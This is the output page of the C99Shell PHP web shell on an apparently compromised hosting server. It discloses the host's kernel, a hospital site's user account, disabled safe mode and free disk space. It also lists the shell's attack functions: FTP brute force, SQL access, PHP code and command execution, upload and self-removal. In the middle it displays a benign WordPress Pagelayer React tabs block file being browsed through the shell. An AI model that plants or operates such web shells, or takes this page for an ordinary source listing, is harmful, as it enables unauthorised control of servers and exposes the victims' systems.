!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/pagelayer-pro/js/react/src/blocks/   drwxr-xr-x
Free 293.44 GB of 429.69 GB (68.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     tabs.js (3.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import { useEffect, useRef } from '@wordpress/element';
import { select, dispatch } from '@wordpress/data';
import { useBlockProps, InnerBlocks, RichText } from '@wordpress/block-editor';
import { RenderGroupBlock } from "./render-group";

export const RenderTabsBlock = (props) =>{
	
	const { _props, pl_props, tag, data } = props;
	const { setAttributes, clientId } = _props;
	const { id, atts: attributes } = data;
	const holderRef = useRef(null);
	
	const { getBlocks } = select("core/block-editor");
	const childBlocks = getBlocks(clientId);

	// Update title
	const setTabTitle = (blockClientId, newValue) =>{
		dispatch('core/block-editor').updateBlockAttributes(blockClientId, { title: newValue });
	}
	
	// Tabs click Handler
	const onClickTabHandler = (e) => {

		var jEle = jQuery(e.target).closest('.pagelayer-tablinks')
		var clientId = jEle.attr('client_id');
		
		// Remove all Active tabs
		jEle.parent().find('.pagelayer-tablinks').removeClass('active');
		jEle.addClass("active");
		
		var blockEle = pagelayer_query("#block-"+clientId);
		// Show tabs panel
		blockEle.parent().children().each(function(){
			jQuery(this).children('.pagelayer-tab').hide();
		});
		
		blockEle.children('.pagelayer-tab').show();
	}
	
	useEffect(()=> {
		var tabsHolder = jQuery(holderRef.current);
		var default_active = tabsHolder.find('[default_active="true"]');
		
		setTimeout( () => {
			// Set the default tab
			if(default_active.length > 0){
				default_active.last()[0].click();
			// Set the first tab as active
			}else if( 
				tabsHolder.find('.pagelayer-tablinks').length > 0
			){
				tabsHolder.find('.pagelayer-tablinks')[0].click();
			}
		}, 100);
	}, []);
	
	var pagelayer_tab_timer = null;
	useEffect(()=> {
		
		var children = jQuery(holderRef.current).children();
		
		// Are we to rotate
		if(attributes.rotate > 0){
			
			var i= 0;
			pagelayer_tab_timer = setInterval(function () {
				
				if(i >= children.length){
					i = 0;
				}
				
				jQuery(children[i])[0].click();
				
				i++;
		   
			}, attributes.rotate);
		}else{
			clearInterval(pagelayer_tab_timer);
		}
		
		// Clean up the interval when the component unmounts
		return () => {
			clearInterval(pagelayer_tab_timer);
		};
	}, [attributes?.rotate]);

	var eleProps = {
		plTag: 'pl_'+tag,
		_props: _props,
	}

	return (
		<>
			<div className="pagelayer-tabs-holder" ref={holderRef}>
			{childBlocks.map((block) => (
				<span
					tab-id={block.attributes['pagelayer-id']} 
					className="pagelayer-tablinks"
					client_id={block.clientId}
					onClick={onClickTabHandler}
					default_active={block.attributes?.default_active}
				>
					<i className={block.attributes?.tab_icon}></i> 
					<RichText
						key="editable"
						tagName="span"
						keepPlaceholderOnFocus
						placeholder={'Add Tab Title...'}
						onChange={(value) => setTabTitle(block.clientId, value)}
						onClick={onClickTabHandler}
						value={block.attributes?.title}
					/>
				</span>
			))}
			</div>
			<div className="pagelayer-tabcontainer">
				<RenderGroupBlock { ...eleProps } />
			</div>
		</>
	);
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0035 ]--